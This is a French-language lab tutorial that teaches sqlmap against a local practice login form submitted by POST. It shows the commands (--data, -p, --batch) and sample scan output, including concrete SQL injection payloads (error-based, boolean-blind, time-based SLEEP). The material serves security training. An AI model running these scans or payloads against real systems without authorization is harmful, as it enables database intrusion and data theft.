Effectuer un scan sur une requête POST avec sqlmap

Kali LinuxBeginner
Pratiquer maintenant

Introduction

L'injection SQL est une vulnérabilité critique de sécurité web qui permet à un attaquant d'interférer avec les requêtes qu'une application effectue auprès de sa base de données. Bien que de nombreux exemples se concentrent sur les vulnérabilités dans les paramètres d'URL (requêtes GET), les formulaires qui soumettent des données via des requêtes POST sont également des cibles courantes.

Dans ce laboratoire, vous apprendrez à utiliser sqlmap, un puissant outil open-source de test d'intrusion, pour automatiser le processus de détection et d'exploitation des failles d'injection SQL. Plus précisément, vous vous concentrerez sur le ciblage d'un formulaire web qui utilise la méthode POST pour soumettre des données. Vous apprendrez à capturer les données POST et à les fournir à sqlmap pour effectuer un scan complet.

Identifier un formulaire web utilisant la méthode POST

Dans cette étape, vous allez démarrer un serveur web simple et identifier un formulaire web qui utilise la méthode HTTP POST. Les requêtes POST sont conçues pour envoyer des données à un serveur afin de créer ou de mettre à jour une ressource, ce qui en fait une méthode courante pour soumettre des formulaires de connexion, des commentaires ou tout autre contenu généré par l'utilisateur.

Tout d'abord, vérifions que notre application web d'exemple est en cours d'exécution. Nous pouvons utiliser curl pour récupérer la page principale.

Exécutez la commande suivante dans votre terminal :

curl http://localhost:8000

Vous devriez voir le code source HTML d'une simple page de connexion. Recherchez la balise <form> dans la sortie.

<!DOCTYPE html>
<html>
  <head>
    <title>Login Page</title>
  </head>
  <body>
    <h2>Login Form</h2>
    <form action="login.php" method="POST">
      <label for="username">Username:</label><br />
      <input type="text" id="username" name="username" /><br />
      <label for="password">Password:</label><br />
      <input type="password" id="password" name="password" /><br /><br />
      <input type="submit" value="Login" />
    </form>
  </body>
</html>

Remarquez l'attribut method="POST" à l'intérieur de la balise <form>. Cela indique au navigateur d'envoyer les données du formulaire en utilisant une requête POST au script login.php. Identifier cela est la première étape pour préparer notre scan sqlmap. Vous pouvez également ouvrir le navigateur Firefox depuis le bureau et naviguer vers http://localhost:8000 pour visualiser le formulaire.

Capturer la chaîne de données POST à l'aide des outils de développement du navigateur

Dans cette étape, vous apprendrez à capturer la chaîne de données envoyée par une requête POST. sqlmap a besoin de ces données pour savoir quels paramètres tester pour l'injection SQL. La manière la plus simple d'obtenir ces informations est d'utiliser les outils de développement intégrés de votre navigateur.

  1. Ouvrez le navigateur Firefox depuis le dock d'applications situé à gauche dans votre environnement LabEx.
  2. Naviguez vers http://localhost:8000.
  3. Appuyez sur F12 ou faites un clic droit sur la page et sélectionnez "Inspecter" pour ouvrir les Outils de Développement.
  4. Cliquez sur l'onglet Network (Réseau) dans le panneau des Outils de Développement.
  5. Sur la page de connexion, saisissez des données factices dans les champs du formulaire. Par exemple, utilisez test pour le nom d'utilisateur et test pour le mot de passe.
  6. Cliquez sur le bouton Login (Connexion).
  7. Dans l'onglet Network, vous verrez une nouvelle entrée pour login.php. Cliquez dessus.
  8. Un nouveau panneau s'ouvrira. Recherchez un onglet nommé Request (Requête) ou Payload (Charge utile). Ici, vous trouverez les données du formulaire qui ont été envoyées au serveur. Elles ressembleront à ceci :
username=test&password=test

Cette chaîne, username=test&password=test, est exactement ce dont nous avons besoin pour sqlmap. Elle contient les noms des paramètres (username, password) et les valeurs que vous avez soumises.

Pour l'étape suivante, sauvegardons cette chaîne de données dans un fichier dans votre répertoire ~/project. Ce n'est pas strictement nécessaire pour utiliser sqlmap, mais c'est une bonne pratique pour garder une trace de vos découvertes.

echo 'username=test&password=test' > ~/project/post_data.txt

Utiliser le drapeau --data pour spécifier les paramètres POST

Dans cette étape, vous allez construire une commande sqlmap de base en utilisant le drapeau --data. Ce drapeau est essentiel pour indiquer à sqlmap d'envoyer une requête POST et quelles données inclure dans le corps de la requête.

La syntaxe de base pour un scan POST dans sqlmap est :

sqlmap -u "URL_CIBLE" --data="CHAINE_DONNEES_POST"

  • -u "URL_CIBLE" : Spécifie l'URL qui traite les données du formulaire. Dans notre cas, il s'agit de http://localhost:8000/login.php.
  • --data="CHAINE_DONNEES_POST" : Fournit la chaîne de données que vous avez capturée à l'étape précédente.

Exécutons une commande pour voir comment sqlmap traite ces informations. Nous utiliserons la chaîne de données que nous avons trouvée précédemment. Cette commande n'effectuera pas encore un scan complet ; elle nous aidera simplement à confirmer que sqlmap identifie correctement les paramètres POST.

Exécutez la commande suivante dans votre terminal :

sqlmap -u "http://localhost:8000/login.php" --data="username=test&password=test"

sqlmap démarrera et vous affichera quelques informations initiales. Il identifiera correctement que la requête est une requête POST et trouvera les paramètres username et password. Il vous demandera ensuite si vous souhaitez les tester.

[INFO] POST parameter 'username' is dynamic
[INFO] POST parameter 'password' is dynamic
[WARNING] POST parameter 'password' looks like a password field. Do you want to mask its value in further requests? [Y/n] n
[INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 5 HTTP(s) requests:
---
Parameter: username (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (subquery)
    Payload: username=-1695' OR 1 GROUP BY CONCAT(0x71787a7a71,(SELECT (CASE WHEN (1695=1695) THEN 1 ELSE 0 END)),0x7170766b71,FLOOR(RAND(0)*2)) HAVING MIN(0)#&password=test

Parameter: password (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=test&password=test' AND 2195=2195 AND 'zxcv'='zxcv
---
[INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/localhost:8000'

[*] ending @ ...

Vous pouvez appuyer sur n lorsqu'on vous demande si vous souhaitez masquer le mot de passe, puis sqlmap continuera. Pour cette étape, vous pouvez le laisser s'exécuter ou appuyer sur Ctrl+C pour quitter une fois que vous voyez qu'il a identifié les paramètres. L'essentiel est de comprendre le fonctionnement du drapeau --data.

Exécuter le scan sur l'URL cible avec les données POST

Dans cette étape, vous allez exécuter un scan complet sur la cible. Pour rendre le processus plus fluide et non interactif, nous allons ajouter quelques drapeaux supplémentaires à notre commande sqlmap.

  • -p "username" : Ce drapeau indique à sqlmap de concentrer ses efforts de test uniquement sur le paramètre username. Cela peut faire gagner beaucoup de temps si vous suspectez qu'un paramètre spécifique est vulnérable.
  • --batch : Ce drapeau automatise le processus en indiquant à sqlmap d'utiliser la réponse par défaut pour toutes les questions interactives qu'il poserait normalement. Ceci est très utile pour exécuter des scans sans surveillance.

Maintenant, combinons le tout dans la commande finale. Nous ciblons l'URL login.php, fournissons les données POST, spécifions le paramètre username pour les tests, et l'exécutons en mode batch.

Exécutez la commande suivante dans votre terminal :

sqlmap -u "http://localhost:8000/login.php" --data="username=test&password=test" -p "username" --batch

sqlmap va maintenant commencer un scan complet du paramètre username. Comme notre script vulnérable utilise une fonction sleep() pour simuler un délai de base de données, sqlmap utilisera probablement des techniques d'injection aveugle basées sur le temps (time-based blind injection). Ce type de scan peut prendre quelques minutes, car sqlmap doit envoyer plusieurs requêtes et mesurer le temps de réponse pour chacune afin de confirmer la vulnérabilité.

Vous verrez une sortie similaire à celle-ci pendant son exécution :

...
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
...

Laissez le scan se terminer. Il confirmera que le paramètre username est vulnérable.

Analyser les résultats d'une injection SQL basée sur POST

Dans cette étape, vous allez analyser la sortie de sqlmap pour comprendre la vulnérabilité qu'il a découverte. Une fois le scan de l'étape précédente terminé, sqlmap présentera un résumé de ses découvertes.

La sortie finale ressemblera à ceci :

---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=test' AND (SELECT 6113 FROM (SELECT(SLEEP(5)))bYjb) AND 'TEST'='TEST&password=test
---
[INFO] the back-end DBMS is 'MySQL >= 5.0.12'
web server operating system: Linux
web application technology: PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/localhost:8000'

Analysons ce résultat :

  • Parameter: username (POST) : Ceci confirme que la vulnérabilité a été trouvée dans le paramètre username d'une requête POST.
  • Type: time-based blind : C'est le type d'injection SQL. "Blind" (aveugle) signifie que l'application ne renvoie pas d'erreurs de base de données dans ses réponses. "Time-based" (basé sur le temps) signifie que sqlmap a confirmé la vulnérabilité en injectant des commandes qui provoquent un délai (par exemple, SLEEP(5)) et en mesurant le temps de réponse du serveur.
  • Payload : Ceci montre l'entrée malveillante réelle que sqlmap a utilisée pour confirmer la vulnérabilité.

sqlmap enregistre également toutes les informations de session, y compris les journaux et les résultats, dans un répertoire. L'emplacement est mentionné dans la sortie, généralement ~/.sqlmap/output/. Vous pouvez inspecter ce répertoire pour trouver les journaux détaillés du scan.

Listons le contenu du répertoire des résultats pour notre cible :

ls -l ~/.sqlmap/output/localhost:8000

Vous verrez des fichiers tels que log et session.sqlite. Le fichier log contient un enregistrement complet du scan, ce qui est utile pour une analyse et un rapport détaillés.

total 24
-rw-r--r-- 1 labex labex 15589 Dec  6 15:30 log
-rw-r--r-- 1 labex labex  8192 Dec  6 15:30 session.sqlite
-rw-r--r-- 1 labex labex     0 Dec  6 15:29 target.txt

Vous avez maintenant identifié et confirmé avec succès une vulnérabilité d'injection SQL basée sur POST en utilisant sqlmap.

Résumé

Dans ce laboratoire, vous avez appris à utiliser sqlmap pour tester les vulnérabilités d'injection SQL dans les formulaires web qui utilisent la méthode POST. Vous avez réussi à identifier un formulaire POST, à capturer la chaîne de données nécessaire à l'aide des outils de développement du navigateur, et à utiliser le drapeau --data dans sqlmap pour spécifier les paramètres POST. Enfin, vous avez exécuté un scan en utilisant les drapeaux --batch et -p pour l'automatisation et analysé les résultats, confirmant une vulnérabilité d'injection SQL aveugle basée sur le temps (time-based blind SQL injection). Ce processus est une compétence fondamentale pour les tests de sécurité des applications web.